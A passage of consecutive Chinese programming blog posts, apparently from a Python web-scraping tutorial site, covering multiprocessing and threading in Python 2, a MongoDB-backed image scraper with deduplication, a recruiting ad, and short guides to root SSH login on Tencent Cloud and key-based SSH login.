def qsize(self): # Raises NotImplementedError on Mac OSX because of broken sem_getvalue() return self._maxsize - self._sem._semlock._get_value()

Queue.empty() 如果队列为空,返回 True, 反之 False Queue.full() 如果队列满了,返回 True,反之 False Queue.get([block[, timeout]]) 获取队列,timeout 等待时间 Queue.get_nowait() 相当 Queue.get(False) Queue.put(item) 阻塞式写入队列,timeout 等待时间 Queue.put_nowait(item) 相当 Queue.put(item, False)

Pipe

管道,顾名思义,一端发一端收。 Pipe 可以是单向(half-duplex),也可以是双向(duplex)。我们通过 mutiprocessing.Pipe(duplex=False)创建单向管道 (默认为双向)。一个进程从 PIPE 一端输入对象,然后被 PIPE 另一端的进程接收,单向管道只允许管道一端的进程输入,而双向管道则允许从两端输入。 用一个实例来感受一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from multiprocessing import Process, Pipe


class Consumer(Process):
def __init__(self, pipe):
Process.__init__(self)
self.pipe = pipe

def run(self):
self.pipe.send('Consumer Words')
print 'Consumer Received:', self.pipe.recv()


class Producer(Process):
def __init__(self, pipe):
Process.__init__(self)
self.pipe = pipe

def run(self):
print 'Producer Received:', self.pipe.recv()
self.pipe.send('Producer Words')


if __name__ == '__main__':
pipe = Pipe()
p = Producer(pipe[0])
c = Consumer(pipe[1])
p.daemon = c.daemon = True
p.start()
c.start()
p.join()
c.join()
print 'Ended!'

在这里声明了一个默认为双向的管道,然后将管道的两端分别传给两个进程。两个进程互相收发。观察一下结果:

1
2
3
Producer Received: Consumer Words
Consumer Received: Producer Words
Ended!

以上是对 pipe 的简单介绍。

Pool

在利用 Python 进行系统管理的时候,特别是同时操作多个文件目录,或者远程控制多台主机,并行操作可以节约大量的时间。当被操作对象数目不大时,可以直接利用 multiprocessing 中的 Process 动态成生多个进程,十几个还好,但如果是上百个,上千个目标,手动的去限制进程数量却又太过繁琐,此时可以发挥进程池的功效。 Pool 可以提供指定数量的进程,供用户调用,当有新的请求提交到 pool 中时,如果池还没有满,那么就会创建一个新的进程用来执行该请求;但如果池中的进程数已经达到规定最大值,那么该请求就会等待,直到池中有进程结束,才会创建新的进程来它。 在这里需要了解阻塞和非阻塞的概念。 阻塞和非阻塞关注的是程序在等待调用结果(消息,返回值)时的状态。 阻塞即要等到回调结果出来,在有结果之前,当前进程会被挂起。 Pool 的用法有阻塞和非阻塞两种方式。非阻塞即为添加进程后,不一定非要等到改进程执行完就添加其他进程运行,阻塞则相反。 现用一个实例感受一下非阻塞的用法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from multiprocessing import Lock, Pool
import time


def function(index):
print 'Start process: ', index
time.sleep(3)
print 'End process', index


if __name__ == '__main__':
pool = Pool(processes=3)
for i in xrange(4):
pool.apply_async(function, (i,))

print "Started processes"
pool.close()
pool.join()
print "Subprocess done."

在这里利用了 apply_async 方法,即非阻塞。 运行结果:

1
2
3
4
5
6
7
8
9
10
Started processes
Start process: Start process: 0
1
Start process: 2
End processEnd process 0
1
Start process: 3
End process 2
End process 3
Subprocess done.

可以发现在这里添加三个进程进去后,立马就开始执行,不用非要等到某个进程结束后再添加新的进程进去。 下面再看看阻塞的用法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from multiprocessing import Lock, Pool
import time


def function(index):
print 'Start process: ', index
time.sleep(3)
print 'End process', index


if __name__ == '__main__':
pool = Pool(processes=3)
for i in xrange(4):
pool.apply(function, (i,))

print "Started processes"
pool.close()
pool.join()
print "Subprocess done."

在这里只需要把 apply_async 改成 apply 即可。 运行结果如下:

1
2
3
4
5
6
7
8
9
10
Start process:  0
End process 0
Start process: 1
End process 1
Start process: 2
End process 2
Start process: 3
End process 3
Started processes
Subprocess done.

这样一来就好理解了吧? 下面对函数进行解释: apply_async(func[, args[, kwds[, callback]]]) 它是非阻塞,apply(func[, args[, kwds]])是阻塞的。 close() 关闭 pool,使其不在接受新的任务。 terminate() 结束工作进程,不在处理未完成的任务。 join() 主进程阻塞,等待子进程的退出, join 方法要在 close 或 terminate 之后使用。 当然每个进程可以在各自的方法返回一个结果。apply 或 apply_async 方法可以拿到这个结果并进一步进行处理。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from multiprocessing import Lock, Pool
import time


def function(index):
print 'Start process: ', index
time.sleep(3)
print 'End process', index
return index

if __name__ == '__main__':
pool = Pool(processes=3)
for i in xrange(4):
result = pool.apply_async(function, (i,))
print result.get()
print "Started processes"
pool.close()
pool.join()
print "Subprocess done."

运行结果:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
Start process:  0
End process 0
0
Start process: 1
End process 1
1
Start process: 2
End process 2
2
Start process: 3
End process 3
3
Started processes
Subprocess done.

另外还有一个非常好用的 map 方法。 如果你现在有一堆数据要处理,每一项都需要经过一个方法来处理,那么 map 非常适合。 比如现在你有一个数组,包含了所有的 URL,而现在已经有了一个方法用来抓取每个 URL 内容并解析,那么可以直接在 map 的第一个参数传入方法名,第二个参数传入 URL 数组。 现在我们用一个实例来感受一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from multiprocessing import Pool
import requests
from requests.exceptions import ConnectionError


def scrape(url):
try:
print requests.get(url)
except ConnectionError:
print 'Error Occured ', url
finally:
print 'URL ', url, ' Scraped'


if __name__ == '__main__':
pool = Pool(processes=3)
urls = [
'https://www.baidu.com',
'http://www.meituan.com/',
'http://blog.csdn.net/',
'http://xxxyxxx.net'
]
pool.map(scrape, urls)

在这里初始化一个 Pool,指定进程数为 3,如果不指定,那么会自动根据 CPU 内核来分配进程数。 然后有一个链接列表,map 函数可以遍历每个 URL,然后对其分别执行 scrape 方法。 运行结果:

1
2
3
4
5
6
7
8
<Response [403]>
URL http://blog.csdn.net/ Scraped
<Response [200]>
URL https://www.baidu.com Scraped
Error Occured http://xxxyxxx.net
URL http://xxxyxxx.net Scraped
<Response [200]>
URL http://www.meituan.com/ Scraped

可以看到遍历就这么轻松地实现了。

结语

多进程 multiprocessing 相比多线程功能强大太多,而且使用范围更广,希望本文对大家有帮助!

本文参考

https://docs.python.org/2/library/multiprocessing.html http://www.cnblogs.com/vamei/archive/2012/10/12/2721484.html http://www.cnblogs.com/kaituorensheng/p/4445418.html https://my.oschina.net/yangyanxing/blog/296052

Python

QQ图片20161022193315 好了!开头要说点啥,我想你们已经知道了! QQ图片20161021224219 没错!我又来装逼了·· 前面两篇博文,不知道大家消化得怎么了。不知道各位有没注意到,前面两篇博文完成的工作,只能保证下载;你电脑不能关机,不能断网,总之不能出意外!否则啊!!! !!!!你就得重头开始啊!!!! 20160124759183737 今天,我们来想想办法让它不重头下载;我们来记录我们已经下载过的地址!ヾ(@⌒ ー ⌒@)ノ这样就可以实现不重新下载啦! 本来刚开始我是准备用本地 txt 来记录的,不过仔细一想用本地 txt 逼格不够啊!要不用 MySQL 吧!然后我自己就用了 MySQL。 QQ图片20161102215153 然而你以为我会在这教程里面用 MySQL 嘛!哈哈哈!我们来用 MongoDB!!这数据库最近很火啊!逼格直线提升啊!哈哈哈!点我去官网下载 安装 mongoDB: 123 在 C 盘建一个用来存储数据的文件夹 MongoDB; 创建以下两个目录: C:\data\log\mongod.log 存储日志 C:\data\db 存储数据 在 C:\MongoDB 文件夹下面创建一个 mongod.cfg 的配置文件写入以下配置: 一定要取消隐藏后缀名,不然更改不会生效!

1
2
3
4
5
systemLog:
destination: file
path: C:\data\log\mongod.log
storage:
dbPath: C:\data\db

在管理员权限的 cmd 中执行以下命令将 mongoDB 安装成服务:

1
"C:\mongodb\bin\mongod.exe" --config "C:\mongodb\mongod.cfg" --install

安装服务 上面两张图片是 GIF 点击是可以看到过程的哦!!!ヾ(=゚・゚=)ノ喵 ♪ 服务器安装完了,CMD 启动一下: 验证是否安装成功 搞定! 好啦!数据库装完了,我们来接着上一篇博文的内容继续啦! 保险起见建议大家还是看一下 MongoDB 的基础(只需要知道那些命令是做了啥,这样就好啦!) 首先我们我们这一次需要一个模块 PyMongo;这是 Python 用来操作 MongoDB 的模块,不要担心使用起来很简单的!

1
pip install PyMongo

现在我们在上一篇博文完成的代码中导入模块:

1
from pymongo import MongoClient

第一步: 在 class mzitu(): 下面添加这样一个函数:

1
2
3
4
5
6
7
def __init__(self):
client = MongoClient() ##与MongDB建立连接(这是默认连接本地MongDB数据库)
db = client['meinvxiezhenji'] ## 选择一个数据库
self.meizitu_collection = db['meizitu'] ##在meizixiezhenji这个数据库中,选择一个集合
self.title = '' ##用来保存页面主题
self.url = '' ##用来保存页面地址
self.img_urls = [] ##初始化一个 列表 用来保存图片地址

好啦!第一步搞定, 第二步: 我们更改一下 def all_url 函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
def all_url(self, url):
html = down.get(url, 3)
all_a = BeautifulSoup(html.text, 'lxml').find('div', class_='all').find_all('a')
for a in all_a:
title = a.get_text()
self.title = title ##将主题保存到self.title中
print(u'开始保存:', title)
path = str(title).replace("?", '_')
self.mkdir(path)
os.chdir("D:\mzitu\\"+path)
href = a['href']
self.url = href ##将页面地址保存到self.url中
if self.meizitu_collection.find_one({'主题页面': href}): ##判断这个主题是否已经在数据库中、不在就运行else下的内容,在则忽略。
print(u'这个页面已经爬取过了')
else:
self.html(href)

第三步: 我们来改一下 def html 这个函数:

1
2
3
4
5
6
7
8
def html(self, href):
html = down.get(href, 3)
max_span = BeautifulSoup(html.text, 'lxml').find_all('span')[10].get_text()
page_num = 0 ##这个当作计数器用 (用来判断图片是否下载完毕)
for page in range(1, int(max_span) + 1):
page_num = page_num + 1 ##每for循环一次就+1 (当page_num等于max_span的时候,就证明我们的在下载最后一张图片了)
page_url = href + '/' + str(page)
self.img(page_url, max_span, page_num) ##把上面我们我们需要的两个变量,传递给下一个函数。

第四步: 我们来改一下 def img 这个函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
def img(self, page_url, max_span, page_num): ##添加上面传递的参数
img_html = down.get(page_url, 3)
img_url = BeautifulSoup(img_html.text, 'lxml').find('div', class_='main-image').find('img')['src']
self.img_urls.append(img_url) ##每一次 for page in range(1, int(max_span) + 1)获取到的图片地址都会添加到 img_urls这个初始化的列表
if int(max_span) == page_num: ##我们传递下来的两个参数用上了 当max_span和Page_num相等时,就是最后一张图片了,最后一次下载图片并保存到数据库中。
self.save(img_url)
post = { ##这是构造一个字典,里面有啥都是中文,很好理解吧!
'标题': self.title,
'主题页面': self.url,
'图片地址': self.img_urls,
'获取时间': datetime.datetime.now()
}
self.meizitu_collection.save(post) ##将post中的内容写入数据库。
print(u'插入数据库成功')
else: ##max_span 不等于 page_num执行这下面
self.save(img_url)

self.meizitu_collection.save(post) 这个是怎么来的我要说一下,可能有点迷糊: def init(self): 函数中: client = MongoClient() db = client[‘meinvxiezhenji’] self.meizitu_collection = db[‘meizitu’] 所以意思就是:在 meizixiezhenji 这个数据库中的 meizitu 这个集合保存 post 这个字典里面的数据哦!这么解释懂了吧?ヾ(@⌒ ー ⌒@)ノ QQ图片20161021223818 好了、一个可以实现去重的爬虫就实现了!φ(゜ ▽ ゜*)♪ 是不是好简单 哈哈哈 顺带还存储了一堆信息(才不会告诉你们这才是我需要的呢) 好了 完整的代码贴上来了! PS:需要先说一下 MongDB 是不需要先建数据库和集合的,会自动判断 存在则直接写入数据,不存在 则先创建需要的数据库和集合,再写入数据(是不是超爽?哈哈哈)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
from bs4 import BeautifulSoup
import os
from Download import down ##导入模块变了一下
from pymongo import MongoClient
import datetime

class mzitu():

def __init__(self):
client = MongoClient() ##与MongDB建立连接(这是默认连接本地MongDB数据库)
db = client['meinvxiezhenji'] ## 选择一个数据库
self.meizitu_collection = db['meizitu'] ##在meizixiezhenji这个数据库中,选择一个集合
self.title = '' ##用来保存页面主题
self.url = '' ##用来保存页面地址
self.img_urls = [] ##初始化一个 列表 用来保存图片地址

def all_url(self, url):
html = down.get(url, 3)
all_a = BeautifulSoup(html.text, 'lxml').find('div', class_='all').find_all('a')
for a in all_a:
title = a.get_text()
self.title = title ##将主题保存到self.title中
print(u'开始保存:', title)
path = str(title).replace("?", '_')
self.mkdir(path)
os.chdir("D:\mzitu\\"+path)
href = a['href']
self.url = href ##将页面地址保存到self.url中
if self.meizitu_collection.find_one({'主题页面': href}): ##判断这个主题是否已经在数据库中、不在就运行else下的内容,在则忽略。
print(u'这个页面已经爬取过了')
else:
self.html(href)

def html(self, href):
html = down.get(href, 3)
max_span = BeautifulSoup(html.text, 'lxml').find_all('span')[10].get_text()
page_num = 0 ##这个当作计数器用 (用来判断图片是否下载完毕)
for page in range(1, int(max_span) + 1):
page_num = page_num + 1 ##每for循环一次就+1 (当page_num等于max_span的时候,就证明我们的在下载最后一张图片了)
page_url = href + '/' + str(page)
self.img(page_url, max_span, page_num) ##把上面我们我们需要的两个变量,传递给下一个函数。

def img(self, page_url, max_span, page_num): ##添加上面传递的参数
img_html = down.get(page_url, 3)
img_url = BeautifulSoup(img_html.text, 'lxml').find('div', class_='main-image').find('img')['src']
self.img_urls.append(img_url) ##每一次 for page in range(1, int(max_span) + 1)获取到的图片地址都会添加到 img_urls这个初始化的列表
if int(max_span) == page_num: ##我们传递下来的两个参数用上了 当max_span和Page_num相等时,就是最后一张图片了,最后一次下载图片并保存到数据库中。
self.save(img_url)
post = { ##这是构造一个字典,里面有啥都是中文,很好理解吧!
'标题': self.title,
'主题页面': self.url,
'图片地址': self.img_urls,
'获取时间': datetime.datetime.now()
}
self.meizitu_collection.save(post) ##将post中的内容写入数据库。
print(u'插入数据库成功')
else: ##max_span 不等于 page_num执行这下面
self.save(img_url)


def save(self, img_url):
name = img_url[-9:-4]
print(u'开始保存:', img_url)
img = down.get(img_url, 3)
f = open(name + '.jpg', 'ab')
f.write(img.content)
f.close()

def mkdir(self, path):
path = path.strip()
isExists = os.path.exists(os.path.join("D:\mzitu", path))
if not isExists:
print(u'建了一个名字叫做', path, u'的文件夹!')
os.makedirs(os.path.join("D:\mzitu", path))
return True
else:
print(u'名字叫做', path, u'的文件夹已经存在了!')
return False




Mzitu = mzitu() ##实例化
Mzitu.all_url('http://www.mzitu.com/all') ##给函数all_url传入参数 你可以当作启动爬虫(就是入口)

Python

2022 年最新 Python3 网络爬虫教程

大家好,我是崔庆才,由于爬虫技术不断迭代升级,一些旧的教程已经过时、案例已经过期,最前沿的爬虫技术比如异步、JavaScript 逆向、安卓逆向、智能解析、WebAssembly、大规模分布式、Kubernetes 等技术层出不穷,我最近新出了一套最新最全面的 Python3 网络爬虫系列教程。

博主自荐:截止 2022 年,可以将最前沿最全面的爬虫技术都涵盖的教程,如异步、JavaScript 逆向、安卓逆向、智能解析、WebAssembly、大规模分布式、Kubernetes 等,市面上目前就这一套了。

最新教程对旧的爬虫技术内容进行了全面更新,搭建了全新的案例平台进行全面讲解,保证案例稳定有效不过期。

教程请移步:

【2022 版】Python3 网络爬虫学习教程

如下为原文。

前言

我们之前写的爬虫都是单个线程的?这怎么够?一旦一个地方卡到不动了,那不就永远等待下去了?为此我们可以使用多线程或者多进程来处理。 首先声明一点! 多线程和多进程是不一样的!一个是 thread 库,一个是 multiprocessing 库。而多线程 thread 在 Python 里面被称作鸡肋的存在!而没错!本节介绍的是就是这个库 thread。 不建议你用这个,不过还是介绍下了,如果想看可以看看下面,不想浪费时间直接看 multiprocessing 多进程

鸡肋点

名言:

“Python下多线程是鸡肋,推荐使用多进程!”

那当然有同学会问了,为啥?

背景

1、GIL是什么? GIL的全称是Global Interpreter Lock(全局解释器锁),来源是python设计之初的考虑,为了数据安全所做的决定。 2、每个CPU在同一时间只能执行一个线程(在单核CPU下的多线程其实都只是并发,不是并行,并发和并行从宏观上来讲都是同时处理多路请求的概念。但并发和并行又有区别,并行是指两个或者多个事件在同一时刻发生;而并发是指两个或多个事件在同一时间间隔内发生。) 在Python多线程下,每个线程的执行方式:

  • 获取GIL
  • 执行代码直到sleep或者是python虚拟机将其挂起。
  • 释放GIL

可见,某个线程想要执行,必须先拿到GIL,我们可以把GIL看作是“通行证”,并且在一个python进程中,GIL只有一个。拿不到通行证的线程,就不允许进入CPU执行。 在Python2.x里,GIL的释放逻辑是当前线程遇见IO操作或者ticks计数达到100(ticks可以看作是Python自身的一个计数器,专门做用于GIL,每次释放后归零,这个计数可以通过 sys.setcheckinterval 来调整),进行释放。 而每次释放GIL锁,线程进行锁竞争、切换线程,会消耗资源。并且由于GIL锁存在,python里一个进程永远只能同时执行一个线程(拿到GIL的线程才能执行),这就是为什么在多核CPU上,python的多线程效率并不高。

那么是不是python的多线程就完全没用了呢?

在这里我们进行分类讨论: 1、CPU密集型代码(各种循环处理、计数等等),在这种情况下,由于计算工作多,ticks计数很快就会达到阈值,然后触发GIL的释放与再竞争(多个线程来回切换当然是需要消耗资源的),所以python下的多线程对CPU密集型代码并不友好。 2、IO密集型代码(文件处理、网络爬虫等),多线程能够有效提升效率(单线程下有IO操作会进行IO等待,造成不必要的时间浪费,而开启多线程能在线程A等待时,自动切换到线程B,可以不浪费CPU的资源,从而能提升程序执行效率)。所以python的多线程对IO密集型代码比较友好。 而在python3.x中,GIL不使用ticks计数,改为使用计时器(执行时间达到阈值后,当前线程释放GIL),这样对CPU密集型程序更加友好,但依然没有解决GIL导致的同一时间只能执行一个线程的问题,所以效率依然不尽如人意。

多核性能

多核多线程比单核多线程更差,原因是单核下多线程,每次释放GIL,唤醒的那个线程都能获取到GIL锁,所以能够无缝执行,但多核下,CPU0释放GIL后,其他CPU上的线程都会进行竞争,但GIL可能会马上又被CPU0拿到,导致其他几个CPU上被唤醒后的线程会醒着等待到切换时间后又进入待调度状态,这样会造成线程颠簸(thrashing),导致效率更低

多进程为什么不会这样?

每个进程有各自独立的GIL,互不干扰,这样就可以真正意义上的并行执行,所以在python中,多进程的执行效率优于多线程(仅仅针对多核CPU而言)。 所以在这里说结论:多核下,想做并行提升效率,比较通用的方法是使用多进程,能够有效提高执行效率。 所以,如果不想浪费时间,可以直接看多进程。

直接利用函数创建多线程

Python中使用线程有两种方式:函数或者用类来包装线程对象。

函数式:调用thread模块中的start_new_thread()函数来产生新线程。语法如下:

1
thread.start_new_thread(function, args[, kwargs])

参数说明:

  • function - 线程函数。
  • args - 传递给线程函数的参数,他必须是个tuple类型。
  • kwargs - 可选参数。

先用一个实例感受一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
# -*- coding: UTF-8 -*-

import thread
import time


# 为线程定义一个函数
def print_time(threadName, delay):
count = 0
while count < 5:
time.sleep(delay)
count += 1
print "%s: %s" % (threadName, time.ctime(time.time()))


# 创建两个线程
try:
thread.start_new_thread(print_time, ("Thread-1", 2,))
thread.start_new_thread(print_time, ("Thread-2", 4,))
except:
print "Error: unable to start thread"


while 1:
pass

print "Main Finished"

运行结果如下:

1
2
3
4
5
6
7
8
9
10
Thread-1: Thu Nov  3 16:43:01 2016
Thread-2: Thu Nov 3 16:43:03 2016
Thread-1: Thu Nov 3 16:43:03 2016
Thread-1: Thu Nov 3 16:43:05 2016
Thread-2: Thu Nov 3 16:43:07 2016
Thread-1: Thu Nov 3 16:43:07 2016
Thread-1: Thu Nov 3 16:43:09 2016
Thread-2: Thu Nov 3 16:43:11 2016
Thread-2: Thu Nov 3 16:43:15 2016
Thread-2: Thu Nov 3 16:43:19 2016

可以发现,两个线程都在执行,睡眠2秒和4秒后打印输出一段话。 注意到,在主线程写了

1
2
while 1:
pass

这是让主线程一直在等待 如果去掉上面两行,那就直接输出

1
Main Finished

程序执行结束。

使用Threading模块创建线程

使用Threading模块创建线程,直接从threading.Thread继承,然后重写init方法和run方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
#!/usr/bin/python
# -*- coding: UTF-8 -*-

import threading
import time

import thread

exitFlag = 0

class myThread (threading.Thread): #继承父类threading.Thread
def __init__(self, threadID, name, counter):
threading.Thread.__init__(self)
self.threadID = threadID
self.name = name
self.counter = counter
def run(self): #把要执行的代码写到run函数里面 线程在创建后会直接运行run函数
print "Starting " + self.name
print_time(self.name, self.counter, 5)
print "Exiting " + self.name

def print_time(threadName, delay, counter):
while counter:
if exitFlag:
thread.exit()
time.sleep(delay)
print "%s: %s" % (threadName, time.ctime(time.time()))
counter -= 1

# 创建新线程
thread1 = myThread(1, "Thread-1", 1)
thread2 = myThread(2, "Thread-2", 2)

# 开启线程
thread1.start()
thread2.start()

print "Exiting Main Thread"

运行结果:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
Starting Thread-1Starting Thread-2

Exiting Main Thread
Thread-1: Thu Nov 3 18:42:19 2016
Thread-2: Thu Nov 3 18:42:20 2016
Thread-1: Thu Nov 3 18:42:20 2016
Thread-1: Thu Nov 3 18:42:21 2016
Thread-2: Thu Nov 3 18:42:22 2016
Thread-1: Thu Nov 3 18:42:22 2016
Thread-1: Thu Nov 3 18:42:23 2016
Exiting Thread-1
Thread-2: Thu Nov 3 18:42:24 2016
Thread-2: Thu Nov 3 18:42:26 2016
Thread-2: Thu Nov 3 18:42:28 2016
Exiting Thread-2

有没有发现什么奇怪的地方?打印的输出格式好奇怪。比如第一行之后应该是一个回车的,结果第二个进程就打印出来了。 那是因为什么?因为这几个线程没有设置同步。

线程同步

如果多个线程共同对某个数据修改,则可能出现不可预料的结果,为了保证数据的正确性,需要对多个线程进行同步。 使用Thread对象的Lock和Rlock可以实现简单的线程同步,这两个对象都有acquire方法和release方法,对于那些需要每次只允许一个线程操作的数据,可以将其操作放到acquire和release方法之间。如下: 多线程的优势在于可以同时运行多个任务(至少感觉起来是这样)。但是当线程需要共享数据时,可能存在数据不同步的问题。 考虑这样一种情况:一个列表里所有元素都是0,线程”set”从后向前把所有元素改成1,而线程”print”负责从前往后读取列表并打印。 那么,可能线程”set”开始改的时候,线程”print”便来打印列表了,输出就成了一半0一半1,这就是数据的不同步。为了避免这种情况,引入了锁的概念。 锁有两种状态——锁定和未锁定。每当一个线程比如”set”要访问共享数据时,必须先获得锁定;如果已经有别的线程比如”print”获得锁定了,那么就让线程”set”暂停,也就是同步阻塞;等到线程”print”访问完毕,释放锁以后,再让线程”set”继续。 经过这样的处理,打印列表时要么全部输出0,要么全部输出1,不会再出现一半0一半1的尴尬场面。 看下面的例子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
# -*- coding: UTF-8 -*-

import threading
import time

class myThread (threading.Thread):
def __init__(self, threadID, name, counter):
threading.Thread.__init__(self)
self.threadID = threadID
self.name = name
self.counter = counter
def run(self):
print "Starting " + self.name
# 获得锁,成功获得锁定后返回True
# 可选的timeout参数不填时将一直阻塞直到获得锁定
# 否则超时后将返回False
threadLock.acquire()
print_time(self.name, self.counter, 3)
# 释放锁
threadLock.release()

def print_time(threadName, delay, counter):
while counter:
time.sleep(delay)
print "%s: %s" % (threadName, time.ctime(time.time()))
counter -= 1

threadLock = threading.Lock()
threads = []

# 创建新线程
thread1 = myThread(1, "Thread-1", 1)
thread2 = myThread(2, "Thread-2", 2)

# 开启新线程
thread1.start()
thread2.start()

# 添加线程到线程列表
threads.append(thread1)
threads.append(thread2)

# 等待所有线程完成
for t in threads:
t.join()

print "Exiting Main Thread"

在上面的代码中运用了线程锁还有join等待。 运行结果如下:

1
2
3
4
5
6
7
8
9
Starting Thread-1
Starting Thread-2
Thread-1: Thu Nov 3 18:56:49 2016
Thread-1: Thu Nov 3 18:56:50 2016
Thread-1: Thu Nov 3 18:56:51 2016
Thread-2: Thu Nov 3 18:56:53 2016
Thread-2: Thu Nov 3 18:56:55 2016
Thread-2: Thu Nov 3 18:56:57 2016
Exiting Main Thread

这样一来,你可以发现就不会出现刚才的输出混乱的结果了。

线程优先级队列

Python的Queue模块中提供了同步的、线程安全的队列类,包括FIFO(先入先出)队列Queue,LIFO(后入先出)队列LifoQueue,和优先级队列PriorityQueue。这些队列都实现了锁原语,能够在多线程中直接使用。可以使用队列来实现线程间的同步。

Queue模块中的常用方法:

  • Queue.qsize() 返回队列的大小
  • Queue.empty() 如果队列为空,返回True,反之False
  • Queue.full() 如果队列满了,返回True,反之False
  • Queue.full 与 maxsize 大小对应
  • Queue.get([block[, timeout]])获取队列,timeout等待时间
  • Queue.get_nowait() 相当Queue.get(False)
  • Queue.put(item) 写入队列,timeout等待时间
  • Queue.put_nowait(item) 相当Queue.put(item, False)
  • Queue.task_done() 在完成一项工作之后,Queue.task_done()函数向任务已经完成的队列发送一个信号
  • Queue.join() 实际上意味着等到队列为空,再执行别的操作

用一个实例感受一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
# -*- coding: UTF-8 -*-

import Queue
import threading
import time

exitFlag = 0

class myThread (threading.Thread):
def __init__(self, threadID, name, q):
threading.Thread.__init__(self)
self.threadID = threadID
self.name = name
self.q = q
def run(self):
print "Starting " + self.name
process_data(self.name, self.q)
print "Exiting " + self.name

def process_data(threadName, q):
while not exitFlag:
queueLock.acquire()
if not workQueue.empty():
data = q.get()
queueLock.release()
print "%s processing %s" % (threadName, data)
else:
queueLock.release()
time.sleep(1)

threadList = ["Thread-1", "Thread-2", "Thread-3"]
nameList = ["One", "Two", "Three", "Four", "Five"]
queueLock = threading.Lock()
workQueue = Queue.Queue(10)
threads = []
threadID = 1

# 创建新线程
for tName in threadList:
thread = myThread(threadID, tName, workQueue)
thread.start()
threads.append(thread)
threadID += 1

# 填充队列
queueLock.acquire()
for word in nameList:
workQueue.put(word)
queueLock.release()

# 等待队列清空
while not workQueue.empty():
pass

# 通知线程是时候退出
exitFlag = 1

# 等待所有线程完成
for t in threads:
t.join()
print "Exiting Main Thread"

运行结果:

1
2
3
4
5
6
7
8
9
10
11
12
Starting Thread-1
Starting Thread-2
Starting Thread-3
Thread-3 processing One
Thread-1 processing Two
Thread-2 processing Three
Thread-3 processing Four
Thread-2 processing Five
Exiting Thread-2
Exiting Thread-3
Exiting Thread-1
Exiting Main Thread

上面的例子用了FIFO队列。当然你也可以换成其他类型的队列。

参考文章

  1. http://bbs.51cto.com/thread-1349105-1.html

  2. http://www.runoob.com/python/python-multithreading.html

职位推荐

Hi,爬虫学习得还不错吧? 做了这么久的爬虫,想不想找一份充分施展才华的工作?博主最近去参观了一下百观科技,在北京,感觉非常不错,公司人也超级好!不过博主现在还在念书,现在还不能去啦~ 在这里将职位推荐给大家,如果你对爬虫非常感兴趣,那么强烈推荐你来!待遇丰厚着呢~

关于百观

百观Lab是一个年轻开放,硅谷风格的金融数据技术公司,致力于给全球投资机构抓取、分析、可视化非常规数据的产品。我们的客户将是管理规模一亿美金以上的国际投资机构,涉及的投资决策上千万美金。百观已获得真格基金、金沙江合伙人等百万美金天使投资。 公司官网 相关新闻

公司待遇

为了做出最棒的产品,公司需要同样充满好奇心,技艺高超的小伙伴。我们提供:

  • BAT同等级待遇
  • 股权激励
  • 超棒的办公环境,紧邻雍和宫五道营 # 我们也不喜欢西二旗
  • 弹性工作制 # 我们也不相信996
  • 有趣的同事
  • 和百观技术顾问团交流学习的机会(百度机器学习T9, 前豌豆荚资深架构师,斯坦福AI博士等)
  • MacBook Pro,零食饮料,免费午餐
  • 免费口罩,北京嘛…

职位

数据工程师

职责:

  • 探索并实践前沿爬虫技术与存储技术
  • 分布式爬虫系统的开发,维护,与优化

要求:

  • 热爱技术,对解决具有挑战性问题富有激情,学习能力和求知欲强
  • 具备强悍的编码能力,内功扎实
  • 熟悉linux开发环境,熟悉python,毕竟life is short
  • 有过分布式爬虫开发经验,熟悉多线程、网络通信、代理池等相关概念;熟悉scrapy+redis/pyspider/mongodb者优先
  • 可提供Github/OSChina/StackOverflow/V2EX/知乎/csdn等id的优先
  • 一线大学计算机或相关专业
  • 阅读英文技术文档无障碍

简历投递

简历投递至 ted@baiguanlab.com 微信联系 cdfcdf789 有意向的赶快发简历加微信啦~

Other

需求分析

有需求才有动力! 腾讯云有个比较坑的地方,Ubuntu 的机子必须要用 ubuntu 账号来登录,给我的统一管理带来了很大的麻烦。 在这里我想把它的账号名称改成 root 来统一登录。

步骤

首先用 ubuntu 账号登录主机。 然后输入

1
sudo passwd root

在这里会首先提示你输入 ubuntu 用户的账号,然后输入新设置的 root 用户的账号。在这里一共要输入三次,不过建议 root 密码和 ubuntu 密码都一样啦。 QQ20161031-1@2x 然后修改 /etc/ssh/sshd_config

1
sudo vi /etc/ssh/sshd_config

把 PermitRootLogin 修改为 yes QQ20161031-2@2x wq 保存 接下来你就可以使用 root 登录了 当然你还可以根据下面这篇文章配置免密码登录。 免密码登录

结语

本文章介绍了腾讯云 Ubuntu 系列主机配置 root 登录的方法,希望对大家有帮助。

Other

需求分析

有需求才有动力! 最近有不少服务器,但是管理起来还需要输入密码,而且有的还不一样,太麻烦了,所以就利用 SSH 配置免密码登录服务器。

流程

生成秘钥

首先在自己的电脑上生成 SSH 秘钥。

1
ssh-keygen –t rsa –P

